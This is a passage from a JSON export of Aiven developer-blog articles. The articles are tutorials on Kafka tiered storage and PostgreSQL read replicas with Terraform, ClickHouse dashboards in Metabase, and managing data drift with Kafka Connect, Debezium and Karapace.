won't tell this to anyone!), check [our documentation](https://docs.aiven.io/docs/products/kafka/howto/enable-kafka-tiered-storage) to see how to enable tiered storage using the Aiven Console or Aiven's CLI.\n\nTo follow best practices, we'll split our Terraform script into several files to have a clean separation of concerns:\n1. A provider - provider.tf,\n2. List of variables - variables.tf and variables.tfvars,\n3. Resources necessary to run an Aiven for Apache Kafka service - kafka-resources.tf.\n\nLet's look at them one by one.\n\n### Provider\nStart by creating **provider.tf**. This is where we'll define Aiven's Terraform provider and its specific version:\n\n```tf\nterraform {\n  required_providers {\n    aiven = {\n      source = \"aiven/aiven\"\n      version = \"\u003e= 4.13.1\"\n    }\n  }\n}\n\nprovider \"aiven\" {\n  api_token = var.aiven_api_token\n}\n```\nTo initialize the provider you'll need a token, for now we've referenced a not yet existing variable, but we'll come back to the creation of the token in the next section.\n\n### Variables\nTo avoid hard-coded credentials(such as API tokens), or to have flexible values (a project name, for example), we'll put those as variables into a separate file **variables.tfvars**:\n\n```tf\naiven_api_token=\"PUT YOUR OWN TOKEN HERE\"\nproject_name=\"WRITE HERE YOUR PROJECT NAME\"\n```\nTo generate Aiven's API token follow [these instructions from Aiven's documentation](https://docs.aiven.io/docs/platform/howto/create_authentication_token).\nWe'll also need to add the definition of these variables so that we can reference them from terraform files. Create **variables.tf** and add the following:\n\n```tf\nvariable \"aiven_api_token\" {\n    description = \"Aiven API token.\"\n    type = string\n}\nvariable \"project_name\" {\n    description = \"Aiven project name\"\n    type = string\n}\n```\n\nWith all of this done we can move to the core of our Terraform script and define the resources that we want to create.\n\n### Resources\n\nFirst, we want to create the Aiven for Apache Kafka service itself. We need to specify the project that the service belongs to as well as other basic parameters. Create kafka-resources.tf and add the following::\n\n```tf\nresource \"aiven_kafka\" \"kafka1\" {\n  project                 = var.project_name\n  cloud_name              = \"google-europe-west1\"\n  plan                    = \"business-4\"\n  service_name            = \"example-kafka-service-with-tiered-storage\"\n\n  kafka_user_config {\n    tiered_storage {\n        enabled = true\n    }\n    kafka_version   = \"3.6\"\n  }\n}\n```\nNote that to enable tiered storage for Aiven for Apache Kafka you need to have the following:\n- Apache Kafka version should be at least 3.6.0\n- Enabled **tiered_storage** in **kafka_user_config** \n- A plan that supports tiered storage. [Check the available plans over here](https://aiven.io/pricing?product=kafka)\n\nNext, add the resources for a topic: \n\n```tf\n# Topic for Kafka\nresource \"aiven_kafka_topic\" \"sample_topic\" {\n  project      = var.project_name\n  service_name = aiven_kafka.kafka1.service_name\n  topic_name   = \"sample_topic_with_tiered_storage\"\n  partitions   = 3\n  replication  = 2\n  config {\n    remote_storage_enable = true\n    local_retention_ms = 300000 # 5 min\n    segment_bytes = 1000000 # 1 Mb\n  }\n}\n```\nNote that for this example we use a very small size of ``segment_bytes`` - just 1 Mb(from the default value of 1 Gb). This will speed up closing the segments and moving them to tiered storage. With this setting we can demonstrate tiered storage in action very quickly, however, using such small value ``segment_bytes`` is not something to recommend for production systems, because it will cause too many open files and performance issues. \n\nTo enable tiered storage for a topic make sure that you:\n- enabled **remote_storage_enable**,\n- set a limit to the local retention either by time (**local_retention_ms**) or by space (**local_retention_bytes**).\n\n### Planning and applying changes\n\nWe're ready to run the terraform script! First we need to run ``terraform init``, then If you want to preview the changes that terraform will do, run\n\n```sh\nterraform plan -var-file=variables.tfvars\n```\nThis will allow you to make sure that planned changes is exactly what you expected.\nTo apply the changes run\n\n```sh\nterraform apply -var-file=variables.tfvars\n```\nVerify the changes and type **yes** if you want to proceed. It will take some minutes to deploy the service.\n\nAnd that's it! Once your service is deployed you will be able to use additional tiered storage available for the topic. The data will be gradually moved to the tiered storage. This means that you can store huge volumes of log data over longer periods and have a clear separation between storage and computing. All of this will happen with no changes to the consumer logic.\n\nTo observe how data moves to tiered storage, let's load some test data.\n\n### Loading data\nYou can use any test data that you like. I've [streamed Mastodon data](https://aiven.io/developer/mastodon-kafka-js), you can do that as well, or by using the [Sample dataset generator for Aiven for Apache Kafka](https://docs.aiven.io/docs/products/kafka/howto/fake-sample-data), or even with **kafka-producer-perf-test.sh** that is available with any Kafka distribution. The data itself is not that important for us, what we need is enough data, so that we can start seeing it moving to tiered storage.\n\n### Important logs and metrics\n\nIf you look at the logs of your Aiven for Apache Kafka service, you'll notice log entries indicating that the data is sent to the remote storage:\n\n![Logs showing that INFO Copying log segment data with metadata](https://cdn.sanity.io/images/sczeoy4w/production/773df856b0d4a01e3af5ceda7565143a243b0c6d-2350x214.png)\n\nThe Aiven Console already visualizes the most important metrics for tiered storage. This is where you can see current billing expenses, forecasted monthly cost, set the remote tier usage, and more:\n\n![Aiven console tiered storage section showing prediction for costs](https://cdn.sanity.io/images/sczeoy4w/production/f9bfbb77b696f02fd9711c32e0c4b0a82f97d983-3024x1380.png)\n\n## Cleaning up\n\nOnce you're done with this experiment, you can remove the resources create by Terraform by runing\n\n```sh\nterraform destroy -var-file=variables.tfvars\n```\n\n## Wrap up\nIn this article, we've looked at what is tiered storage in Apache Kafka and how you can start using it already today with Aiven and Terraform. \nLearn more about tiered storage and how to use it with Aiven for Apache Kafka from our documentation:\n\n- [Tiered storage overview in Aiven Console](https://docs.aiven.io/docs/products/kafka/howto/tiered-storage-overview-page)\n- [Tiered storage in Aiven for Apache Kafka® overview](https://docs.aiven.io/docs/products/kafka/concepts/kafka-tiered-storage)\n- [How tiered storage works in Aiven for Apache Kafka®](https://docs.aiven.io/docs/products/kafka/concepts/tiered-storage-how-it-works)\n\nIf you want to expand your knowledge on Terraform, check out these resources we have:\n- [Import your existing data platform using Terraform](https://aiven.io/developer/import-your-existing-data-platform-using-terraform)\n- [Connect Apache Kafka® to OpenSearch® with Terraform](https://aiven.io/developer/apache-kafka-to-opensearch-terraform)\n\n\n\n\n\n\n\n\n","feature":{"_type":"featuredItem","active":false,"endDate":"2024-02-26T16:21:24.668Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"publishedAt":"2024-02-20T13:10:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Text saying \"A guide to Apache Kafka® tiered storage with Aiven and Terraform\" and the Aiven logo","asset":{"_ref":"image-cbd0ed8183650a57bb10a0645de29654881b9dac-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/kafka-tiered-storage-terraform"},"subtitle":"A guide to what tiered storage is, and how you can start using it with Aiven for Apache Kafka® and Terraform. We’ll set up a cluster, load the data and observe the metrics.\n","tags":[{"_key":"e4f74a7c65ce","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"a062e0c48d6c","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"},{"_key":"f37f4e99653c","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"b28192b28aa3","_ref":"6e718308-0932-4545-b8c2-c9df3013ec4e","_type":"tag"},{"_key":"f403f58c16d9","_ref":"7333c82f-1b90-44a0-b6dc-8a4cd4fa5387","_type":"tag"}],"title":"A guide to Apache Kafka® tiered storage with Aiven and Terraform"}
{"__i18n_lang":"en","_createdAt":"2023-03-29T10:42:50Z","_id":"5d3a6ca5-14e6-4017-b986-a6878dd09bcd","_rev":"neae7oL4y1FotDvvRLsAOX","_type":"devArticle","_updatedAt":"2024-07-11T13:52:08Z","body":"Data analysis is a critical component of modern business operations. As organizations generate more and more data, it becomes increasingly difficult to extract meaningful insights from the raw information. That's where Business Intelligence (BI) tools can help us. BI tools allow organisations to transform their data into visual, actionable insights that support informed decision-making.\n\nIn this tutorial, you'll learn how you can integrate a ClickHouse® database with the open source BI tool [Metabase](https://www.metabase.com/start/oss/) to visualise the data stored in your database. After completing this tutorial you'll have a dashboard in Metabase with insights from the data you have in ClickHouse.\n\nAfter all, a picture is worth a thousand words.\n\n## Preparing ClickHouse cluster and data\n\nWe'll start on the ClickHouse side. In this section we'll set up the cluster and load the data that we can use for analysis.\n\n### Setting up Aiven for ClickHouse\n\nWe recommend you use [Aiven for ClickHouse](https://aiven.io/clickhouse) when following this tutorial. If you still don't have an Aiven account, [register over here](https://console.aiven.io/signup). You'll get free credits that you can use for this tutorial.\n\nOnce you're logged into the Aiven platform, click on **Create service** and follow the wizard to set up the preferences.\n\n\nWe also have [documentation](https://aiven.io/docs/products/clickhouse/get-started) for detailed instructions.\n\n### Loading data\n\nIf you already have data in your ClickHouse database for analysis, feel free to skip this step and visualise your data.\n\nAlternatively, you can use [a dataset from New York Public Library \"What's on the Menu?\"](http://menus.nypl.org/data) as an example. This dataset is easy to setup and it has ample opportunities for exploration. The official documentation of ClickHouse offers [a convenient set of instructions](https://clickhouse.com/docs/en/getting-started/example-datasets/menus/) to create the tables and load the data.\n\nWe'll be utilizing the data from the \"What's on the Menu?\" dataset in the examples below. However, the same techniques are applicable to your data.\n\n![Animated GIF showing creation of a service](https://cdn.sanity.io/images/sczeoy4w/production/b7597259c0cd19f2e6ce979b0e37c50e6d909b75-1080x608.gif)\n\n## Setting up the OSS version of Metabase\n\nDepending on your operating system and preferences, you can choose between two approaches when [setting up the open source edition of Metabase](https://www.metabase.com/start/oss/): using a Docker image or running Metabase as a JAR.\n\nIn this tutorial we'll be using [Docker](https://www.docker.com/). However, similar results can be achieved using the `.jar` file.\n\nIf you don't have a license token for a paid version of Metabase and you don't need a production installation, these steps [for the quick start](https://www.metabase.com/docs/latest/installation-and-operation/running-metabase-on-docker#open-source-quick-start) plus a minor adjustment [to include a ClickHouse driver](https://www.metabase.com/docs/latest/installation-and-operation/running-metabase-on-docker#adding-external-dependencies-or-plugins) is what you need.\n\nWhen starting your Docker container, make sure that you have access to the mounted folder located in `/path-to-plugins-folder`. We'll need this folder for the next step.\n\n```bash\ndocker run -d -p 3000:3000 \\\n  --mount type=bind,source=/path-to-plugins-folder,destination=/plugins \\\n  --name metabase metabase/metabase\n```\n\nHere is a preview of how that should work:\n\n![Animated GIF showing pulling latest docker image and running it](https://cdn.sanity.io/images/sczeoy4w/production/f2a84a7f86cb3839c7405d72f2102f2c607bb552-1080x608.gif)\n\n### Adding drivers\n\nMetabase comes with a predefined set of supported databases. ClickHouse is not in [the list of officially supported drivers](https://www.metabase.com/docs/latest/databases/connecting#connecting-to-supported-databases), but we can include it [as a third-party community driver](https://www.metabase.com/docs/latest/developers-guide/partner-and-community-drivers#community-drivers).\n\nYou can find the ClickHouse driver (and extra documentation, in case you need it) in the ClickHouse driver for Metabase [GitHub repository](https://github.com/ClickHouse/metabase-clickhouse-driver).\n\nLoad the driver by going [to the latest release](https://github.com/ClickHouse/metabase-clickhouse-driver/releases) and selecting `clickhouse.metabase-driver.jar` from the list of assets.\n\n![Animated GIF showing loading the driver for ClickHouse Metabase from the GitHub page](https://cdn.sanity.io/images/sczeoy4w/production/46fc9c2abc2dcbd50d09f03cf59f368f788a8567-1080x608.gif)\n\nAdd this file to the folder that you mounted in the previous step. This will allow Metabase to access the ClickHouse driver and therefore work with ClickHouse data.\n\n## Starting Metabase\n\nTime to start Metabase! If you used the default ports when running the container, go to `http://localhost:3000`, if you used a different port, adjust it accordingly.\n\nThe first time you open Metabase, it will ask you several questions. Remember the email and password you enter, they are needed for logins. Skip adding data, we'll do it separately in the next step\n\n![Animated GIF showing the setup form of Metabase](https://cdn.sanity.io/images/sczeoy4w/production/016d40990f85dad75b71189cbb81b5860ad33643-1080x608.gif)\n\n\n## Connecting to ClickHouse\n\nIn order to connect to the ClickHouse server you need to add a database to Metabase and provide all necessary credentials for access. To add a database, click on **Add your own data**, this will navigate you to the *Add Database* form.\n\nIf all went well installing a driver, you'll see **ClickHouse** in the list of available databases types. If you don't see ClickHouse there, try restarting the container.\n\nThe connection between Metabase and ClickHouse happens over HTTPS. You can take all the necessary properties (such as host, port and user credentials) from your *Aiven for ClickHouse* page in the section **ClickHouse HTTPS \u0026 JDBC**.\n\n![Animated GIF showing adding a database to Metabase](https://cdn.sanity.io/images/sczeoy4w/production/997b092e0f38250f777c96bf21fb8d678cbb9fb5-1080x608.gif)\n\n\n## Visualising the data\n\nNow we can run analysis and visualise the data. There are two ways you can create requests to the ClickHouse database. One is using SQL and another is by relying on a visual editor. Below we try out both of these approaches.\n\n### Querying data with SQL\n\nTo start with something simple, check for most popular currencies used across the menus in the dataset we have.\n\nClick on the **New** button and select **SQL Query** from the list. Next, choose the database for your query (`AivenForClickHouse` in our case) and you'll land onto the SQL query editor. You can use the same syntax here as running your usual ClickHouse queries.\n\n```sql\nSELECT menu_currency, count() FROM menu_item_denorm\nGROUP BY menu_currency\n```\n\nThe results will appear below the query editor. To visualise the findings, click on the button **Visualisation**. This will show you a set of possible options that fit your data. For this specific example, for example, you can use a pie chart.\n\nOnce you're happy with the visualisation, save it. Metabase will also suggest adding the visualisation to a dashboard. If you don't want to do that yet, you can add it later.\n\n![Animated GIF showing creation of a new visualisation based on SQL query](https://cdn.sanity.io/images/sczeoy4w/production/00d9cf09eed5e6cd931e36027f85e38eadda352e-1080x608.gif)\n\n\n### Using the visual editor\n\nAlternatively, you can create a query using the Metabase visual editor. For instance, out of curiosity we'll look at dishes that were popular before 1920, but then disappeared from the menu.\n\nPress on the **New** button and select **Question** from the available options.\n\nMetabase will ask you to pick the database and the table to run requests. Select **AivenForClickHouse** (or the name you gave to your database) and `Menu Item Denorm`. Once data is selected you'll use the wizard with multiple options to shape the request.\n\nTo find old menus in the *Filter* section press on **Add filters to narrow your answer** and select the field **Dish Last Appeared**. Use the `between` function and set the year values to **1700** and **1920** (or even better - experiment and select your own values!). This will find only those dishes that disappeared before 1920.\n\nNext, we'll use the *Summarize* section to get the most popular dishes among those that vanished. Pick the metric \"Maximum of\" and use the property **Dish Times Appeared**. Next to it pick **Dish Name** to group by.\n\nFinally, sort data by **Max of Dish Times Appeared** in descending order and click **Visualise**. You will now see the list of disappeared popular dishes.\n\n![Animated GIF showing creation of a query with the visual editor](https://cdn.sanity.io/images/sczeoy4w/production/e0111dad0b9401814b62ba53bd3b8a09e074f0ca-1080x608.gif)\n\n## Conclusions\n\nIn this tutorial we described how to use ClickHouse together with an open source BI tool, Metabase. We used open source edition of Metabase and a community-developer driver for ClickHouse.\n\nYou can find more information about Aiven for ClickHouse in [our documentation](https://docs.aiven.io/).\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-04-05T10:42:45.810Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"internalTags":[],"publishedAt":"2023-04-03T14:04:06.477Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-c05115c3bd33316a3b4301b9fe0c381305b5d5f5-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/clickhouse-metabase"},"subtitle":"Learn how to get ClickHouse® data into the Metabase Business Intelligence tool, as a pathway to getting visualisation and insights into your data.","tags":[{"_key":"0de9c64fa1e2","_ref":"94e23adc-203f-4482-b8df-63aeab555411","_type":"tag"},{"_key":"26a80c5c4e34","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"9e68d71a3af0","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Integrate ClickHouse® with Metabase, an open source BI tool"}
{"__i18n_lang":"en","_createdAt":"2023-08-22T09:40:43Z","_id":"ea1a51d6-8e51-4fb6-ad67-974d76bbc0ed","_rev":"VeNKqGNmt13PzvGhqsSzdC","_type":"devArticle","_updatedAt":"2024-01-29T15:49:02Z","body":"A PostgreSQL® read-only replica can be used to offload read requests like the analytics traffic from the primary instance. In this example, you'll create two [Aiven for PostgreSQL®](https://aiven.io/postgresql) services - a primary service and the other one as its read-only replica. \nBoth services will be provisioned programmatically using the [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs). The same process can be followed for setting up MySQL read-only replica as well. \n\nThe following diagram shows the typical client interaction when a read-only replica is in place.\n\n\n:::mermaid\n   flowchart LR\n      id6[Client];\n      \n      id5\u003eWAL record]\n\n      subgraph Aiven for PostgreSQL\n      id1[(Primary)]\n      id2[[WAL sender]]\n      id1 --\u003e id2\n      end\n      \n      subgraph Aiven for PostgreSQL\n      id4[(Read-Replica)]\n      id3[[WAL receiver]]\n      id3 --\u003e id4\n      end\n\n      id2 --\u003e id5 --\u003e id3\n\n      id6--\u003e|Data Modification|id1\n      id6--\u003e|Data Read|id4\n:::\n\nThe following sample Terraform script stands up the primary PostgreSQL service and a read-only replica for that service using service integration. \n\nBe sure to check out the [getting started guide](https://aiven.io/docs/tools/terraform/get-started) to learn about the common files required to execute the following recipe. For example, you'll need to declare the variables for ``project_name`` and ``api_token``.\n\n## Common files\n\nNavigate to a new folder and add the following files.\n\nAdd the following to a new ``provider.tf`` file:\n\n```toml\nterraform {\n  required_providers {\n    aiven = {\n      source  = \"aiven/aiven\"\n      version = \"\u003e=4.0.0, \u003c 5.0.0\"\n    }\n  }\n}\n\nprovider \"aiven\" {\n  api_token = var.aiven_api_token\n}\n```\n\nYou can also set the environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property. With this, you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n\nTo avoid including sensitive information in source control, the variables are defined here in the ``variables.tf`` file. You can then use a ``*.tfvars`` file with the actual values so that Terraform receives the values during runtime, and exclude it.\n\nThe ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\nvariable \"aiven_api_token\" {\n  description = \"Aiven console API token\"\n  type        = string\n}\n\nvariable \"project_name\" {\n  description = \"Aiven console project name\"\n  type        = string\n}\n```\n\nThe ``var-values.tfvars`` file holds the actual values and is passed to Terraform using the ``-var-file=`` flag.\n\n``var-values.tfvars`` file:\n\n```toml\naiven_api_token     = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name        = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\n```\n\n## Services.tf file\n\n``services.tf`` file:\n\n```toml\nresource \"aiven_pg\" \"demo-postgresql-primary\" {\n  project                 = var.project_name\n  service_name            = \"demo-postgresql-primary\"\n  cloud_name              = \"google-northamerica-northeast1\"\n  plan                    = \"startup-4\"\n  maintenance_window_dow  = \"sunday\"\n  maintenance_window_time = \"10:00:00\"\n  termination_protection  = false\n}\n\nresource \"aiven_pg\" \"demo-postgresql-read-replica\" {\n  project                 = var.project_name\n  cloud_name              = \"google-northamerica-northeast1\"\n  service_name            = \"demo-postgresql-read-replica\"\n  plan                    = \"startup-4\"\n  maintenance_window_dow  = \"sunday\"\n  maintenance_window_time = \"10:00:00\"\n  termination_protection  = false\n\n  service_integrations {\n    integration_type    = \"read_replica\"\n    source_service_name = aiven_pg.demo-postgresql-primary.service_name\n  }\n\n  pg_user_config {\n    service_to_fork_from = aiven_pg.demo-postgresql-primary.service_name\n\n    pg {\n      idle_in_transaction_session_timeout = 900\n    }\n    pgbouncer {\n      server_reset_query_always = false\n    }\n    pglookout {\n      max_failover_replication_time_lag = 60\n    }\n  }\n\n  depends_on = [\n    aiven_pg.demo-postgresql-primary,\n  ]\n}\n```\n\n## Execute the files\n  \nThe ``init`` command performs several different initialization steps in order to prepare the current working directory for use with Terraform. In our case, this command automatically finds, downloads, and installs the necessary Aiven Terraform provider plugins.\n    \n```bash\nterraform init\n```\n\nThe ``plan`` command creates an execution plan and shows you the resources that will be created (or modified) for you. This command does not actually create any resource; this is more like a preview.\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nIf you're satisfied with the output of ``terraform plan``, go ahead and run the ``terraform apply`` command which actually does the task or creating (or modifying) your infrastructure resources. \n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n\nWhen you run ``terraform apply`` command, ``demo-postgresql-primary`` gets created first since ``demo-postgresql-read-replica`` service depends on it. \nTerraform knows it from the ``depends_on`` block. Here are some configurations that are used in this setup:\n\n- ``service_to_fork_from``: This is the source Aiven for PostgreSQL service.\n- ``idle_in_transaction_session_timeout``: Kills an idle session after specified number of seconds.\n- ``server_reset_query_always``: This PgBouncer configuration, when set to ``false``, causes the ``server_reset_query`` to not take effect for transaction pooling.\n  According to the PostgreSQL documentation, when transaction pooling is used, the ``server_reset_query`` should be empty, as clients should not use any session features.\n- ``max_failover_replication_time_lag``: In case of a failover, this is the replication time lag after which ``failover_command`` will be executed and a ``failover_has_happened`` file will be created.\n\n## More resources\n\nTo learn how to get started with Aiven Terraform Provider and specific PostgreSQL configurations for you use case, check out the following resources:\n\n- [Configuration options for PostgreSQL](https://aiven.io/docs/products/postgresql/reference/list-of-advanced-params.html)\n- [Create and use read-only replicas](https://aiven.io/docs/products/postgresql/howto/create-read-replica)\n- [Add caching to your PostgreSQL® app using Redis®*](https://aiven.io/developer/add-caching-to-pg-with-redis)\n- [Setting up Django to use Aiven for PostgreSQL®](https://aiven.io/developer/django-and-aiven-for-pg)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-29T09:40:31.313Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"4b59232175f4","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-21T08:28:37.110Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-f1c09b623a13d262e7871b6c6be641c720d62bf5-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/postgresql-read-only-terraform"},"subtitle":"Create a read-only replica of a PostgreSQL® service and deploy it to Aiven for PostgreSQL® using Terraform. A part of Aiven's Terraform Cookbook.","tags":[{"_key":"3bd7ea2a68a6","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"aeaf593c3313","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"PostgreSQL® read-only replica using Terraform"}
{"__i18n_lang":"en","_createdAt":"2024-01-02T10:54:05Z","_id":"8a25bbfc-03ef-4f64-a4bb-2dfd947ffa7d","_rev":"9KXJIj517MDuzut1TWtyNP","_type":"devArticle","_updatedAt":"2024-10-25T14:10:21Z","body":"Data flows across many technologies, teams, and people in today's businesses. Businesses are always growing and changing, so the way we collect and share data changes all the time too. We need to know not only who owns certain data but also what to do if that data changes. This problem is often referred to as \"data drift.\"\n\nConsider the scenario where a piece of data is modified at its source — what implications does this have for other systems reliant on it? How do we communicate necessary changes to stakeholders? Conversely, how do we prevent changes that could disrupt the system?\n\nHaving a robust plan for managing data drift is imperative. Businesses require data systems that function seamlessly and remain consistent, even amidst changes at the data source. Additionally, mechanisms are needed to assess and decide on changes, ensuring smooth operations for everyone involved with the data.\n\nThis tutorial will show you how tools like Apache Kafka®, Apache Kafka Connect, and the built in schema registry functionality provided by [Karapace](https://www.karapace.io/), can help businesses keep an eye on data drift. It will also explain how to either deny or allow changes based on what a business needs.\n\n\n## Why Apache Kafka and why a schema registry?\n\nApache Kafka is widely adopted as a backend data hub, empowering companies to move their data supported by a reliable, fast and scalable technology. Apache Kafka provides the benefit of decoupling data producers and consumers, by allowing the producers to reliably send the data without having to worry about consumers being ready to read, or being fast enough to keep up with throughput. \n\nBy default, Apache Kafka doesn't impose or verify the structure of data. Messages are pushed and retrieved in any format agreed upon by the producer and the consumer. However, in complex systems, where the same information needs to be reused across multiple consumers from different parts of the company, a simple external agreement is often insufficient. Apache Kafka must not only ensure that consumers can retrieve the data but also make sense of it, even if the structure of the messages changes slightly over time.\n\nThis is where the schema registry functionality enabled by Karapace comes into play: a way to decouple the structure of the message from its content and a method to verify that updates in the data structure won't break downstream consumers of the information. With Karapace, we can define the structure of each topic, along with the compatibility level that determines which data structure changes are allowed or rejected.\n\nIn the following sections, we will explore how the schema registry can be used in conjunction with Apache Kafka® Connect, both as a source and a sink, to check data structure changes and propagate them if they meet compatibility requirements.. \n\n## The overall architecture\n\nTo simulate a typical company data flow, we will employ PostgreSQL® as our source, serving as our transactional database. Extracting data from it will involve using Apache Kafka, Apache Kafka Connect, and the Debezium source connector, enabling a real-time change data capture process. Once the data resides in Apache Kafka, we will leverage the integrated integration with Karapace to store the data schema and assess changes for compatibility. Finally, the results of our data changes will manifest in a MySQL database and an Amazon S3 bucket, mirroring two use cases: departmental analytics and long-term data storage.\n\n![Overall architecture including PostgreSQL as Source, CDC with Debezium, Apache Kafka and two sinks to S3 and MySQL](https://cdn.sanity.io/images/sczeoy4w/production/4f60cb2c9d735dee58b2f1a46ad4dae8063850a3-6116x1690.png)\n\nWe'll use [Aiven for Apache Kafka®](https://aiven.io/kafka), [Aiven for PostgreSQL®](https://aiven.io/postgresql), [Aiven for MySQL](https://aiven.io/mysql) and a Debezium Kafka Connector to demonstrate this. [Sign up for an Aiven account](https://console.aiven.io/signup) to follow along. \n\nWe can create the whole flow using Aiven's [command line interface](https://aiven.io/docs/tools/cli). You'll also need to install `psql`. Run the following commands:\n\n\n```bash\navn service create demo-drift-postgresql \\\n  -t pg --cloud aws-eu-west-1 -p free-1-5gb\n```\n```bash\navn service create demo-drift-mysqldb \\\n  -t mysql --cloud aws-eu-west-1 -p free-1-5gb\n```\n```bash\navn service create demo-drift-kafka         \\\n    -t kafka                                \\\n    --cloud aws-eu-west-1                   \\\n    -p business-4                           \\\n    -c kafka.auto_create_topics_enable=true \\\n    -c kafka_connect=true                   \\\n    -c kafka_rest=true                      \\\n    -c schema_registry=true\n```\n\nThe above three commands will start:\n* An Aiven for PostgreSQL database named `demo-drift-postgresql` in the `aws-eu-west-1` cloud region using Aiven's free tier\n* An Aiven for MySQL database named `demo-drift-mysql` in the `aws-eu-west-1` cloud region using Aiven's free tier\n* An Aiven for Apache Kafka® service named `demo-drift-kafka` in the `aws-eu-west-1` cloud region using Aiven's `business-4` plan and enabling:\n    * The automatic creation of topics\n    * Apache Kafka Connect, running on the same nodes as Apache Kafka\n    * Kafka REST APIs\n    * Kafka Schema Registry functionality powered by Karapace \n\nWe can wait for the above services to be created with:\n\n```bash\navn service wait demo-drift-postgresql\navn service wait demo-drift-kafka\navn service wait demo-drift-mysqldb\n```\n## Create the source dataset in PostgreSQL\n\nThe first step of the data journey will be in the PostgreSQL database, acting as a company transactional backend. In this section we'll connect to the database and include some data. To connect, we can use the prebuilt Aiven CLI command (that requires `psql` to be installed locally):\n\n```bash\navn service cli demo-drift-postgresql\n```\n\nAfter connecting, we can create a basic `USERS` table and include some data:\n\n```sql\nCREATE TABLE USERS (ID SERIAL PRIMARY KEY, USERNAME VARCHAR, HERO BOOLEAN);\n\nINSERT INTO USERS (USERNAME, HERO)\n  VALUES ('Spiderman', TRUE), ('Flash', TRUE), ('Joker', FALSE), ('Batman', TRUE);\n```\n\n## Change Data Capture from PostgreSQL to Apache Kafka\n\n![Change Data Capture with PostgreSQL, Debezium Source Connector, Apache Kafka and Schema Registry](https://cdn.sanity.io/images/sczeoy4w/production/9ef9a405361b4679b006293ce83b7a5bff06ae0f-3518x1400.png)\n\nAfter mimicking the OLTP (Online Transaction Processing) system, we can now create the change data capture pipeline allowing us to track the `USERS` table in Apache Kafka. We'll set up the CDC flow using a [Debezium connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg) and the following configuration file, which we'll name `cdc-deb.json`. Be sure to replace values like `\u003cDATABASE_HOST\u003e` in the below example.\n\n\n\n```json\n{   \n    \"name\": \"pg-source-users\",\n    \"connector.class\": \"io.debezium.connector.postgresql.PostgresConnector\",\n    \"database.server.name\": \"sourcepg\",\n    \"database.hostname\": \"\u003cDATABASE_HOST\u003e\",\n    \"database.port\": \"\u003cDATABASE_PORT\u003e\",\n    \"database.user\": \"avnadmin\",\n    \"database.password\": \"\u003cPOSTGRESQL_PASSWORD\u003e\",\n    \"database.dbname\": \"defaultdb\",\n    \"plugin.name\": \"pgoutput\",\n    \"slot.name\": \"myslot1\",\n    \"publication.name\": \"mypub1\",\n    \"publication.autocreate.mode\": \"filtered\",\n    \"database.sslmode\": \"require\",\n    \"table.include.list\": \"public.users\",\n    \"key.converter\": \"io.confluent.connect.avro.AvroConverter\",\n    \"key.converter.schema.registry.url\": \"https://\u003cKAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e\",\n    \"key.converter.basic.auth.credentials.source\": \"USER_INFO\",\n    \"key.converter.schema.registry.basic.auth.user.info\": \"avnadmin:\u003cSCHEMA_REGSITRY_PASSWORD\u003e\",\n    \"value.converter\": \"io.confluent.connect.avro.AvroConverter\",\n    \"value.converter.schema.registry.url\": \"https://\u003cKAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e\",\n    \"value.converter.basic.auth.credentials.source\": \"USER_INFO\",\n    \"value.converter.schema.registry.basic.auth.user.info\": \"avnadmin:\u003cSCHEMA_REGISTRY_PASSWORD\u003e\"\n}\n```\n\nIn the above connector we are defining:\n* The Debezium PostgreSQL connector in the `connector.class` parameter\n* The PostgreSQL connection settings in the set of `database.*` parameters, We can get the list of needed parameters with the following call:\n\n  ```bash\n  avn service get demo-drift-postgresql --format '{service_uri_params}'\n  ```\n\n* The PostgreSQL replication plugin name, slot name, publication name and mode. We can either create the slot and publication in PostgreSQL beforehand or have the connector create them for us.\n\n* The list of tables to include in the replication (`public.users`)\n* The usage of Avro and Apache Kafka schema registry functionality for both message keys and values. We can fetch the needed connection parameters (`\u003cKAFKA_HOST\u003e`, `\u003cSCHEMA_REGISTRY_PORT\u003e`, `\u003cSCHEMA_REGISTRY_PASSWORD\u003e`)\n\n  ```bash\n  avn service get demo-drift-kafka --json | jq -r '.connection_info.schema_registry_uri'\n  ```\n\n  The above command will report the Kafka schema registry URI in the form:\n\n  ```html\n  